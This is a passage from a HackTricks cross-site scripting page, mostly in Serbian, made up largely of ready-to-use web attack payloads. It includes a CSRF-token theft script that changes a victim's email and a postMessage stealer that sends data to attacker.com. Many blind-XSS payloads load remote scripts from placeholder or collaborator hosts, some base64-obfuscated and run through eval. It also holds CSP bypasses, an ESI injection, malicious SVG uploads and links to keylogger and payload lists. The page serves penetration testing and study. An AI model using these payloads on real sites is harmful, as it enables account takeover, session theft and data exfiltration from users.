- https://github.com/hakanonymos/JavascriptKeylogger
- Takođe možete koristiti metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Krađa PostMessage poruka
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Zloupotreba Service Workers
Pristup Shadow DOM
Polyglots
Blind XSS payloads
Takođe možete koristiti: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Pristup skrivenom sadržaju
Iz this writeup može se saznati da, čak i ako neke vrednosti nestanu iz JS, i dalje ih je moguće pronaći u JS atributima različitih objekata. Na primer, unos za REGEX se i dalje može pronaći čak i nakon što je vrednost tog unosa uklonjena:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS — zlopotreba drugih ranjivosti
XSS u Markdownu
Možeš da ubaciš Markdown kod koji će biti renderovan? Možda tako dobiješ XSS! Proveri:
XSS u SSRF
Imaš XSS na site-u koji koristi caching? Pokušaj nadograditi to u SSRF kroz Edge Side Include Injection sa ovim payloadom:
<esi:include src="http://yoursite.com/capture" />
Use it to bypass cookie restrictions, XSS filters and much more!
More information about this technique here: XSLT.
XSS in dynamic created PDF
Ako web stranica kreira PDF koristeći korisnički kontrolisan input, možete pokušati da prevarite bota koji kreira PDF da izvrši proizvoljni JS kod.
Dakle, ako bot koji kreira PDF pronađe neku vrstu HTML tagova, on će ih interpretirati, i možete zloupotrebiti ovo ponašanje da izazovete Server XSS.
Ako ne možete injektovati HTML tagove, može biti vredno pokušati da injektujete PDF podatke:
XSS in Amp4Email
AMP, osmišljen da ubrza performanse web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi obezbedio funkcionalnost sa naglaskom na brzinu i bezbednost. Podržava niz komponenti za različite funkcije, dostupnih putem AMP components.
The AMP for Email format proširuje specifične AMP komponente na e-mailove, omogućavajući primaocima da direktno unutar svojih poruka interaguju sa sadržajem.
Example writeup XSS in Amp4Email in Gmail.
XSS uploading files (svg)
Otpremite kao sliku fajl poput sledećeg (from http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Pronađi više SVG payloads na https://github.com/allanlw/svg-cheatsheet
Razni JS trikovi i relevantne informacije
Misc JS Tricks & Relevant Info
XSS resursi
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Reference
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks